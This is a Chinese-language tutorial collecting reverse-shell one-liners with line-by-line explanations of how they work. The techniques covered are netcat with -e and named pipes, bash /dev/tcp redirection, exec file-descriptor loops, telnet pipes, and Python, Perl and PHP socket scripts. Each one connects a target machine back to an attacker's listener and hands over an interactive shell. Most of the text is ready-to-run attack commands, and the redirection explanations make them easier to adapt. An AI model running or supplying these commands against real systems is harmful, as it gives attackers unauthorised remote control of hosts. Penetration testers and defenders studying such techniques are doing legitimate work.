反彈shell常用命令及分析
1.利用nc反彈shell
一般情況下
服務端：nc 192.168.247.1 8888 -e /bin/sh
vps：nc lvp 8888
nc參數說明
-e program to exec after connect，程序重定向
-l listen mode，使用監聽模式
-p port，通信端口
-v verbose，詳細輸出
這里的/bin/sh是linux的shell解釋器,也可以使用/bin/bash。sh相當於開啟了POSIX標准的bash
如果是windows則為：C:\Windows\System32\cmd.exe
服務端的nc沒有-e參數
如果服務端nc沒有-e參數，可以創建一個管道使nc和/bin/sh連接
服務端先創建一個管道文件：mkfifo /tmp/backpipe
然后執行：/bin/sh 0</tmp/backpipe | nc 192.168.247.1 8888 1>/tmp/backpipe
vps: nc -lvp 8888
0是標准輸入，1是標准輸出
< 是對標准輸入 0 重定向 ，> 是對標准輸出 1 重定向
這里0和1可以省略
/bin/sh < /tmp/backpipe | nc 192.168.247.1 8888 > /tmp/backpipe
linux管道
https://zhuanlan.zhihu.com/p/58489873
命名管道中如果只有讀或寫會阻塞，這里相當於形成了閉合的回路
nc的輸出重定向/tmp/backpipe，/bin/sh的輸入重定向到/tmp/backpipe（/tmp/backpipe的內容就是/bin/sh的輸入）。如果在服務端分開執行這兩條命令，/bin/sh < /tmp/backpipe這邊會顯示出我們vps上執行命令的結果，即結果顯示在服務端上。我們可以用匿名管道“|”來將輸出結果連接到nc（vps），就可以在vps上顯示執行結果了
nc --> pipe --> /bin/sh --> nc
linux一切皆文件，命令無法直接拿給/bin/sh執行，要文件才行，所以利用了管道
類似命令
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.146.129 2333 >/tmp/f
## 2.bash反彈shell ### 常規方法 ``` 服務端：bash -i >& /dev/tcp/192.168.247.1/8888 0>&1 vps：nc -lvp 8888 ``` linux的shell是什么 https://blog.csdn.net/DLUTBruceZhang/article/details/9150455 簡單的說就是可以解釋命令讓系統執行 ``` bash -i: 產生一個交互式的shell /dev/tcp/ip/port: 與監聽端口的服務器進行socket通信 bash -i > /dev/tcp/192.168.247.1/8888：將產生的交互式shell的輸出重定向到/dev/tcp/192.168.247.1/8888（vps） 0>&1：把標准輸入賦給標准輸出。相當於：bash -i < /dev/tcp/192.168.247.1/8888此時輸出是重定向到vps上的，執行這條命令后，輸入也重定向到了vps。 ``` 此時輸入和輸出都重定向到vps上，及vps輸入的內容到服務端執行，然后輸出到vps，從而產生交互式shell。 但是服務端可以看到攻擊者輸入的命令，可以將錯誤輸出和標准輸出都重定向到一個地方，來解決這個問題。 ``` bash -i > /dev/tcp/192.168.247.1/8888 0>&1 2>&1 等同於：bash -i >& /dev/tcp/192.168.247.1/8888 0>&1 ``` inux shell下常用的文件描述符是： ``` 1.標准輸入 (stdin) ：代碼為 0 ，使用 < 或 << 2.標准輸出 (stdout)：代碼為 1 ，使用 > 或 >> 3.標准錯誤輸出(stderr)：代碼為 2 ，使用 2> 或 2>> ``` 標准輸出與標准錯誤輸出重定向: &> >& 文件描述符的復制：n<&m / n>&m。這里兩個都是將文件描述符 n 復制到 m ，兩者的區別是，前者是以只讀的形式打開，后者是以寫的形式打開 所以上面反彈shell命令等同於 ``` bash -i &> /dev/tcp/192.168.247.1/8888 0<&1 ```
bash反彈shell就是輸入輸出和錯誤輸出都重定向到vps，因此服務端執行攻擊者命令，且沒有命令出現。
其他方法
- 把輸入復制到錯誤輸入（0復制到2）
bash -i >& /dev/tcp/192.168.247.1/8888 0>&2
- exec加sh
exec 196>/dev/tcp/192.168.247.1/8888; sh <&196 >&196 2>&196
或
exec 197<>/dev/tcp/192.168.247.1/8888; /bin/sh <&197 >&197 2>&197
或
exec 197<>/dev/tcp/192.168.247.1/8888; bash -i <&197 >&197 2>&197
196、197是我們自定義的文件描述符，sh、/bin/sh、bash -i都可以交互式的執行shell
<>是以讀寫方式重定向，通過操作197即可操作/dev/tcp/192.168.247.1/8888
網上的方法開頭多了exec 0&0 2>&0這條命令，我測試發現不加也可以執行shell
- exec加read循環
exec 5<>/dev/tcp/192.168.247.1/8888;cat <&5|while read line;do $line >&5 2>&1;done
讀取每次的輸入，“|”管道符是將前面的輸出（cat <&5）作為后面的輸入（read循環）
read循環：
while read line
do
…
done < file
通過輸入重定向，按行讀取file並將內容賦給變量line，然后執行do中的命令。最后一行讀取完后循環結束。
do可以執行命令
3.telnet反彈shell
Telnet協議是TCP/IP協議族中的一員，是Internet遠程登錄服務的標准協議和主要方式。它為用戶提供了在本地計算機上完成遠程主機工作的能力。在終端使用者的電腦上使用telnet程序，用它連接到服務器。
方式一
攻擊者vps上監聽兩個端口，一個作為輸入另一個作為輸出
在目標機器上，利用管道，使用telnet連接vps，把vps的輸入作為輸出給/bin/bash，把執行結果作為輸入給vps，在vps上顯示執行結果。
vps: nc -lvp 7777
nc -lvp 8888
目標: telnet 192.168.247.1 7777 | /bin/bash | telnet 192.168.247.1 8888
在監聽7777這邊輸入命令，即可在監聽8888這邊顯示執行結果
方式二
利用命令管道實現和匿名管道原理一樣，只不過是監聽一個端口
vps: nc -lvp 8888
目標：mkfifo /tmp/backpipe;telnet 192.168.247.1 8888 0</tmp/backpipe|/bin/bash > /tmp/backpipe
創建一個命令管道/tmp/backpipe；telnet連接vps並把輸入重定向到管道，這樣vps輸入的命令傳到了管道中；然后把結果（vps輸入的命令）作為輸入給/bin/bash執行，/bin/bash的輸出重定向到管道，顯示在vps中。形成一個閉合的回路。
4.常見腳本反彈shell
python
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.247.1',8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
fileno方法返回文件描述符
os.dup2(fd,fd2)將一個文件描述符 fd 復制到另一個 fd2。
創建一個socket連接，分別將標准輸出輸出和錯誤輸出文件描述符復制給socket，達到交互式，最后開啟shell
其他腳本反彈shell的原理也是類似
perl
perl -e 'use Socket;$i="192.168.99.242";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
### php ``` php -r '$sock=fsockopen("192.168.247.1",8888);exec("/bin/sh -i <&3 >&3 2>&3");' ```
socat是nc的加強版，同樣可以反彈shell。還有很多腳本如ruby、lua等都可以用來反彈shell，原理基本都是一樣的